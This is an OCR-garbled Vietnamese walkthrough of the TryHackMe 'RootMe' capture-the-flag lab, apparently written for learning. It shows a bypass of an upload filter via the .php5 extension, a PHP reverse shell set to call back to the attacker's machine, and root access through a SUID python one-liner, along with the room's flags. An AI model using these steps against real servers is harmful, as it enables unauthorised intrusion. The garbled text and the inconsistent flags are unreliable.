Server khai thac

https://tryhackme.com/room/rrootme

Thong tin quan trong

- May kali, pentest sau khi VPN: 10.4.43.108
- May server: 10.10.67.217

- chila open machine Ién thui.

Tién hanh viéc thu thap thong tin:
map -vv -T4 -p- -sV -0 -Pn 10.10.167.215

Nmap scan report for 10.10.167.215
Host is up, received user-set (0.37s latency)
Scanned at 2022-08-15 22:14:32 EDT for 923s
Not shown: 65533 closed tcp ports (reset)
PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6pl Ubuntu 4ubuntu®.3 (Ubuntu Linux; protocol 2.8)
80/tcp open hitp  syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
05 fingerprint not ideal because: maxTimingRatio (1.742000e+80) is greater than 1.4
Aggressive 0S guesses: Linux 3.1 ), Linux 3.2 (95%), AXIS 216A or 211 Network Camera (Linux 2.6.17) , ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16
(93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (929 Llnux 3.11 (92%)
No exact 05 matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.92%
SEQ(SP=102%G
SEQ(SP=101%GCD=1¢ =2%C1=7%
0PS(01= MSGSSTIINWGuO“ M5055T11NW6u09 M505NNT 1 1NW6%04=H5055T 1 INW6%05=M5055T 1 INW6%06=H5055T11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
F507%0=M505NNSNW6%CC=Y%(Q=)
0%A=5+%F=AS%RD=0%Q=)

sUN= OcRIPL GeRID GoRIPEK-GuRUCK G%RUD=G)

Uptime guess: 23.685 days (since Sat Jul 23 06:03:13 2022)
Network Distance: 4 hops

TCP Sequence Prediction: Difficulty=257 (Good luck!

IP ID Sequence Generation: ALl zeros

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 923.97 seconds

Raw packets sent: 69264 (3.05IMB) | Rcvd: 85736 (7.412MB)



https://tryhackme.com/room/rrootme

Cé thé tiép tuc scan cac port UDP dé thu thap thém thdéng tin

nmap -vv -14 -sU -sV 10.10.167.215

Nmap scan report for 10.10.167.215

Host is up, received reset ttl 61 (0.38s latency).
Scanned at 2022-08-15 22:28:27 EDT for 1092s

Not shown: 991 closed udp ports (port-unreach)
PORT STATE SERVICE REASON VERSION
17/udp open|filtered gotd no-response
68/udp open|filtered dhcpc  no-response
1043/udp open|filtered boinc  no-response
9199/udp open|filtered unknown no-response
18250/udp open|filtered unknown no-response
22914/udp open|filtered unknown no-response
41638/udp open|filtered unknown no-response
44185/udp open|filtered unknown no-response
49185/udp open|filtered unknown no-response

Read data files from: fusr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 1092.33 seconds

Raw packets sent: 1418 (64.823KB) | Rcvd: 1063 (82.998KB)

M6t diém dang luvu v & day |a cac port UDP sau khi duwoc quét dang & trang thai Open
nhung dang bi tudng Itra chan (filtered) -> tam thdi dé day va quay lai dé nghién clu sau.

Quét céac dir bj an
gobuster dir -w common-web-content.txt -u 10.10.167.215 -t 25 -x py,sh,txt

Gobuster v3.1.0
by 0] Reeves (@TheCol

Method:

Threads:

Wordlist: common-web-content.txt
Negative Status codes: 404

User Agent: gobuster/3.1.0
Extensions: py,sh,txt

Timeout:

:25:01 Starting g

(Statu
(Status: 4
swd. (Status: 4
/. Ext (Status: ¢
/.htpasswd.s (Status: 4
/.hta (Status: ¢
/ S (Status: 4
(Status: 4
(Status: 4
(Status: 4
(Status: 4
(Status: 403)
(Status: --> http://10.10.167.215/css/]
(Status:
(Status: ) --> http://10.10.167.215/js/1]
/panel (Status: ) ize: --> http://10.10.167.
Progress: 13572 / 18612 (72.92%)
Progress: 13672 / 18612 (73.
/server-status (Status: 403) ize: 278
/uploads (Status: 301) [Size: 316 --> http://10.10.167.215/uploads/]




Dua vao status code tra vé 200 tirc |a cd phadn hoi tir server. Ngoai ra, cd thé chd y thém 2
dir la /panel va /uploads co status code la 301.

TU nhitng thdng tin thu thap tir phia trén, cé thé hoan thanh duoc task2.

Task 2 @ Reconnaissance v

First, let's get information about the target.

Scan the machine, how many ports are open?

2

What version of Apache is running?
2.4.29

What service is running on port 227
ssh

Find directories on the web server using the GoBuster tool.
No answer needed

What is the hidden directory?

/panel/

Dé cd thé lam thém, tién hanh truy cap web service tir nhitng gi tim thay. Va day la trang
chd cla né.
HackIT - Home

QO & 10.10.167.215

root(@rootme:~#

Can you root me?




Tién hanh truy cap cac dir nghi ngd sau khi quét gobuster phia trén.

TryHackMe | RootMe #*  Index of fuploads

C @ O & 10.10.167.215/uploads/

Index of /uploads

Name Last modified Size Description

8 Parent Directory ]

Apache/2.4.29 (Ubuntu) Server at 10.10.167.215 Port 80

Cai nay chi la mot dir tréng, nén thir céi tiép theo.

O & 10.10.167.215/pan

Select a file to upload:
No file selected.

DAy 1a mdt trang cho phép upload mot file [én webserver. Tl d6 cé thé Igi dung chirc ndng
nay dé tai Ién webserver muc tiéu mot file ma déc. Khi file m3 doc nay chay trén server
muc tiéu, né s& ching ta cé dugc mot shell két néi dén may Kali cho phép ching ta kiém
soat server RootMe tUr xa.

Méc du trong bai khdng lién quan I1dm nhung khi truy cap trang web thi nén kiém tra source
code dé xac nhan xem cé cac thdng tin gi quan trong bi bd quén & dé khong. (trong bai nay
thi khong).



Trong trudng hap nay, do server cé bat dich vu ssh nén th&r d&ng nhap vao hé thong theo
nhi*ng tai khodn méc dinh cé thé nhu sau (usernam:password).

admin:admin
admin:password
username:password
root:password

root:root

2 /home/kali/Desktop
1 admin@l0.10.167.215
The authenticity of host '10.10.167.215 (10.10.167.215)' can't be established.
ED25519 key Tingerprint is SHA256:NDT6Nrao5pHvgn7Ksd5ny61jMbXXbLK+wAnZO5cwmaY .
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.167.215' (ED25519) to the list of known hosts.
admin@l@.10.167.215"'s password:

Permission denied, please try again.

admin@le.10.167.215's password:

Permission denied, please try again.

admin@l®.10.167.215"'s password:

Thi nhap nhiéu password khac nhau nhung van sai.

Tha tim kiém 16i khai thac vé hé théng.

/home/kali/Desktop
1sploit OpenSSH 7.6pl

Username Enumeration
Username Enumeration (PoC)
- Enumeration (2)

Shellcodes: No Results

3 phan mém cho phép chuing ta tim username théng qua hinh thic bruteforce. Tuy nhién,
ching ta s& tam bd qua cac phan mém tan coéng nay vi qua trinh bruteforce cé thé kéo da
va du cé tim ra duwoc username, ching ta lai phai brute force dé tim password. Nén s& dé
gidi phap nay |a gidi phap cudi cung néu tat ca cac cach xam nhap déu that bai.



Tiép theo, can thir cach tiép theo chinh la viéc upload mét file thuc thi lén web dé tao ra
mot reverse vé may kali. Tuy nhién van dé & day |a can xac dinh loai file nao ma web s& xac
nhan. Do dé, can xac dinh loai ngdn nglt ma web dang dung.

Cé thé sir dung extension trén trinh duyét dé phat hién, & day la Wappalyzer

QO & 10.10.167.215

¥ Export

Web servers Operating systems

# Apache 2429 @& Ubuntu

Programming languages

Select a file to up ey

Something wrong er missing?

Browse... INGRICEIIET =1 X

Generate sales leads ~

Find new prospects by the technologies they use. Reach out to
customers of Shopify, Magento, Salesforce and others.

Create a lead list =

Dua vao két qua clia Wappalyzer chuing ta biét dugc rang hé théng web cla RootMe duoc
code bang PHP, vay néu chung ta cé thé upload mét file reverse shell dugc viét bang PHP
|én hé théng clia RootMe va tim dugc noi chira file d3 upload sau d6 cho chay file trén hé
thdéng clia RootMe, chiing ta sé 14y duac reverse shell.

Dau tién tao thir mot file php, sau dé upload nd 1én thir.

/home/kali/Desktop
test.php

Select a file to upload:

Browse... JNCRICEACIET:H

PHP nao é permitido!




Mét dong théng bao gi do, HIEU CHET LIEN!!!

Tiéng B6 Dao Nha - da phat hién v & Tiéng Viét v

X PHP khéng duoc
phép!

T&i day thi cé van dé |a tai sao khdng upload dwoc? Rat cd thé quan tri vién d3 ngdn chan
dudi .php nay lén. Tuy nhién, dwa vao link sau, cé thé loi dung nhitng dudi khac dé upload
file thuc thi viét bang PHP ma khéng bi chdn nhu trén. Mot sé dudi do cé thé 1a:

- phtml
- .phtm
- .php2
- .php3
- .php4d
- .php5

® /home/kali/Desktop
test.php2

Select a file to upload:

Browse... INERICEEESGEN

O arquivo foi upado com

sucesso!



https://fileinfo.com/filetypes/web

Tiéng B6 Dao Nha - da phat hién v & Tiéng Viét v

X Tép da duoc tai lén
thanh céng!

Van dé upload d3 duaoc gidi quyét, tiép theo can tim source code cla file PHP reverse shell.
Tim thi ra cai github nay.

Mot lvu y nho nhé tir anh code.
S/ Limitations

/{ proc_open and stream_set_blocking reguire PHP wersion 4.3+, or 5+

// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
/{ Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.

I/

Cé nghta la dé chay duoc file PHP reverse shell nay, hé théng RootMe phai chay PHP version
4.3+ hodc 5+. Khi cac ban Google thém vé extension .php va .php5, cac ban s& thay trén
cac hé thdng hién dai, extension .php mac dinh dung dé chi .php5, nghta la 2 extension nay
la mot.

Dén thai diém nay di AN COM, nén khi quay lai lam tiép thi dia chi IP s& cé nhitng su thay
d6i nhd nhu sau:

- May kali, pentest sau khi VPN: 10.4.43.108
- May server: 10.10.234.234

Clone code vé trén may kali

e /home/kali/Desktop
git clone https://github.com/pentestmonkey/php-reverse-shell.git
Cloning into 'php-reverse-shell’...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 10 (delta 1), reused 1 (delta 1), pack-reused 7
Receiving objects: 100% (10/10), 9.81 KiB | 1.23 MiB/s, done.
Resolving deltas: 100% (2/2), done.

2 /home/kali/Desktop



https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Sau khi download v&, truy cau vao thu muc do, tién hanh mé file “php-reverse-shell.php”
vdi nano dé xem code, ta bat gdp:

set time limit (0);

r
I

size = 1400;

= null;
null:
‘uname -a;

O day, phan dia chiip va port dugc 6ng tac gia chd thich la nén duoc thay déi dé phu hop
vdi tinh hinh hién tai.

set time limit (0);

:VERSION = "1.0":
= "10.4.43.108";

= 8888H

S51ie = 14&@}

5 = null;

null;

'uname -a; w; id; /bin/sh -1i';

Sau d¢ thi thodt véi phim “ctrl X” dé luu lai va “y” dé xac nhan

Tiép theo can ddi tén file lai v&i dubi la .php5 dé vira cé thé upload |én duoc server, vira cé
thé ddp &ng yéu cau version code trong chu thich clia dng tac gid (PHP 4.3+ hodc PHP 5+).

/home/kali/Desktop/php-reverse-shell
hp-reverse-shell.php php-reverse-shell.php5

] /home/kali/Desktop/php-reverse-shell

CHANGELOG COPYING.GPL COPYING.PHP-REVERSE-SHELL LICENSE php-reverse-shell.php5 README.md




Select a file to upload:
No file selected.

O arquivo foi
upado com
sucesso!

Veja!

Van dé tiép theo la upload xong rdi thi file duoc lvu & dau? Lam sao biét dé biét ma chay?
Trong qua trinh quét server véi gobuster thi van con 1 noi dugc an 1a /uploads/. Tién hanh
kiém tra.

O & 1010234234

Index of /uploads

Name Last modified Size Description

« Parent Directory
@ php-reverse-shell.php5 2022-08-18 09:11 5.4K

Apache/2.4.29 (Ubuntu) Server at 10.10.234.234 Port 80

= N day ruil

Ldc nay cau hdi dat ra 13 1am sao dé chay file nay dé tao reverse shell vé may kali. Sau khi
gg cling nhu doc writeup thi phat hién ra thém duoc moét k§ thuat duoc s& dung trong
truong hop nay “chi can CLICK VAO 1a NO CHAY” (-.-).

St dung netcat trén may dé dén két néi vé trén port 8888
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-] /home/kali/Desktop/php-reverse-shell
- 8888
listening on [any] 8888 ...
connect to [10.4.43.108] from (UNKNOWN) [10.10.234.234] 43906
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86 64 x86 64 x86 64 GNU/Linux
09:19:56 up 28 min, © users, load average: 0.00, 0.02, 0.19

USER TTY FROM LOGIN@ IDLE JCPU  PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
i : 0: can't access tty; job control turned off

KIEN THU'C NGOAI LE (nang cao hon thui):

Sau khi lay duac shell thi cé thé dé dé dang st dung hon thi ta s& st dung ki thuat upgrade
shell vi shell hién tai:

- Khoéng co header
- Khéng st dung dwoc mot vai tinh ndng trén may. ( vi du dién hinh 13 sudo, ssh,...)

Ldc nay ta s& s dung cau lénh python dé tao mdt dong code cho phép tao mét shell
/bin/bash. ( Do day |a mdt cau Iénh python nén can kiém tra trén server nay cé st dung
python hay khdng.)

$ which python
Jfusr/bin/python

python -c 'import pty; pty.spawn("/bin/bash")"’
nash-4.4%

vash-4.45 |

Ldc nay thi shell dang st dung |a bash, trong xin uy tin hon nhiéu ( link tai day).

Sau do la qua trinh truy tim flag, xem cai thong tin trong thw muc home.
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https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

1s -la rootme | 1s -la test
total 28

drwxr-xr-x 3 test test 4096 Aug 4 2020 .

3
drwxr-xr-x 4 root root 4096 Aug 4 2020 ..
test test 393 Aug 4 2020 .bash _history

1 test test 220 Aug 4 2020 .bash_logout
-rw-r--r-- 1 test test 3771 Aug 4 20828 .bashrc
drwxrwxr-x 3 test test 4096 Aug 4 2020 .local
-rw-r--r-- 1 test test 807 Aug 4 2020 .profile

1s: write error: Broken pipe

bash-4.4% 1s -la rootme || 1ls -la test

1s -la rootme || 1s -la test

total 32
drwxr-xr-x ¢
drwxr-xr-x ¢

rootme rootme 4096 Aug
root root 4096 Aug
rootme rootme 100 Aug
-rW-r--r-- rootme rootme 220 Apr

4
4 -
1 .bash_history
1

-rwW-r--r-- 1 rootme rootme 3771 Apr
93
4
3
1
1

.bash_logout

.bashrc

.cache

-gnupg

.profile
.sudo_as_admin_successful

rootme rootme 4096 Aug
rootme rootme 4096 Aug
rootme rootme 807 Apr
rootme rootme 0 Aug

-rW-r--r--

-rW-r--r--
bash-4.4% |

Khong cé ndi dung can tim. Do dé quay lai cai yéu cau thi thay:
Find a form to upload and get a reverse shell, and find the flag.

=> Tic |a tim chd ma dé upload céi file php héi ndy -> ma céi nay upload trén web ->
truy cap dir cla apache -> /var/www -> flag.

cd /Svar/www
bash-4.4% 1s -la

1s -la

total 20

drwxr-xr-x 3 www-data www-data 4096 Aug 4 2020 .
drwxr-xr-x 14 root root 4096 Aug 4 2020 ..

1 www-data www-data 129 Aug 4 2020 .bash history
drwxr-xr-x 6 www-data www-data 4096 Aug 4 2020 himl
-rw-r--r-- 1 www-data www-data 21 Aug 4 2020 user.txt
bash-4.4% cat user.txt
cat user.txt
THM{yBu g0t a sh311}
bash-4.45 |

Find a Form to upload and get a reverse shell, and find the flag.

user.txt

THM{yOu_g0t_a_sh3ll}
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Task 3: LEO THANG DAC QUYEN

Kiém tra user hién tai

whoami
www -data

MOt chut ly thuyét vé Sudo right:

Leo thang d&c quyén dua vao sudo rights |a phuong phép loi dung nhitng tinh ndng hodc
phan mém duoc duoc cap phép si dung cho mot user nao d6 bdi moét user co phan quyén
cao hon nham muc dich thuc hién mot nhiém vu cu thé nao dé. Cac tinh ndng hodc phan
mém dugc cip phép nay khi duoc chay véi sudo, ching s& duoc chay véi phan quyén cla
user d3 cip phép st dung chit khédng phai phan quyén cla user dang s dung.

Pdng nghia vdi viéc, néu ta loi dung cac tinh ndng hodc phan mém dugc cap phép nay va
bang cach nao d6 14y duoc shell tir cac tinh n3ng hodc phan mém duwoc cap phép nay,
ching ta s& cé thé diéu khién hé théng vdi phan quyén cao hon phan quyén cla user hién
tai. Va phan quyén cang cao thi cang it bi han ché tiép can vdi cac tinh ndng hoac phan
mém (ndi trang ra la cac cau Iénh day) kiém soat hé théng hon.

Mot diéu can luu y la khi st dung sudo sé c6 ltc chung ta bi yéu cau cung cGp mat khdu cia
user hién tai va cling cé luc khéng. C6 hay khéng bi yéu cau cung cdp mat khdu cia user
hodn todn phu thudc vao admin cla hé thong setup thé ndo, va trudng hop admin yéu céu
tat cd user phdi cung cGp mat khdu user trudc khi dung 1énh sudo nhdm tdng tinh bdo mdt
cho hé théng x4y ra rat phé bién.

Kiém tra vdi sudo -

bash-4.4% sudo -1
sudo -1
[sudo] password for www-data: aaaa

Sorry, try again.
[sudo] password for www-data: admin

Sorry, try again.
[sudo] password for www-data: [

N6 d3 rai vao trudng hop yéu cau mat khau rdi day.

Ly thuyét SUID

Thudng d6i véi mot file hay dir bat ky, ching ta cé 3 quyén co ban bao gdm rwx( read —

ow_n

write — excute), nhung trong mot sé trudng hop thi s& xuat hién phan quyén “s”.
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Phan quyén “s” trong phan phan quyén cla owner duoc goi la SUID (Set User Id), né cho
phép khi file duoc thue thi bdi mot user account nao dod, nd sé dugc thuc thi dudi phan
quyén clia ngudi chi cda file. Nhu vi du trong tredng hop cé mot dong [énh ma ngudi chd
tao ra nd la user root, bat ky ai chay nd, cau I1énh dé s& duoc chay vdi phan quyén cla root.
Diéu nay cd thé bi lam dung cho muc dich nang cap dic quyén. (cai nay cé thé gg dé tim
hiéu thém thdéng tin nha).

Do d6 can tim mot ¢ng dung chay véi SUID.
find / -perm -u=s -type f 2>/dev/null

bash-4.4% find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Jusr/lib/snapd/snap-confine

/usr/1ib/x86 64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
Jusr/lib/openssh/ssh-keysign
Jusr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap

Jusr/bin/newgidmap

Jusr/bin/chsh

/usr/bin/python

/usr/bin/at

Jusr/bin/chfn

/usr/bin/gpasswd

/usr/bin/sudo

Jusr/bin/newgrp

/usr/bin/passwd

/usr/bin/pkexec

Trong day ndi bat |én thang python, kiém tra lai xem owner cé |1énh d6.

$ 1s -1 fusr/bin/python

-rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python

= Chung ta cé 2 diéu: phan quyén cla |énh nay cé ‘s’, owner cla lénh nay 1a ‘root’
= Nén “bat ky” user nao thuc thi cau Iénh nay déu cé dat quyén cta ‘root’

S dung trang nay, trang nay tap trung cac tha thuat lgi dung cac phan mém duoc cap
sudo rights hodc SUID dé leo thang déc quyén rat hitu ich khi pentest.
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https://gtfobins.github.io/

python|

Binary Functions

| Shell || Reverse shell || File upload || File download || File write || File read || Library load || SUID H Sudo |

Capabilities

python

Tim tr khda python va SUID. Cu thé s& ra céi nay

|suiD

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file
system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a lacal SUID copy of the binary and runs it to maintain elevated privileges. To interact with
an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which python) .

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Theo nhu hudng dan thi khi tuong tac vai mot SUID cé san thi bd qua cau |énh & trén. Cau
lénh thit 2 phai ddp ing duwoc dudng dan, & day la “./” tire 1a chi chd thu muc hién tai. Do
d6, chung ta can thay ddi path dén chd python tim duoc & trén.

/Jusr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")’

i fusr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

whoami
root

Kiém tra th( thi chung ta d3 |a root rdi. Tiép theo |3 di lay flag.
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cd root
1s -la
total 40

root root 4096
root root 4096
root root 1423
root root 3106
root root 4096
root root 4096
drwxr-xr-x root root 4096
-rW-r--r-- root root 148
root root 4096
root root 26

.bash_history
.bashrc
.cache

.gnupg

.Local
.profile

.55h

root.txt

=

cat root.txt
;HM{pr1v113g3_3sc414t10n}

Pass thanh cong server nay.

Task 4 @ Privilege escalation

Now that we have a shell, let's escalate our privileges to root.

Search for files with SUID permission, which file is weird?

fusr/bin/python

Find a Form to escalate your privileges.

No answer needed

rookt.kxt

THM{priv1l3g3_3sc4lat10n}
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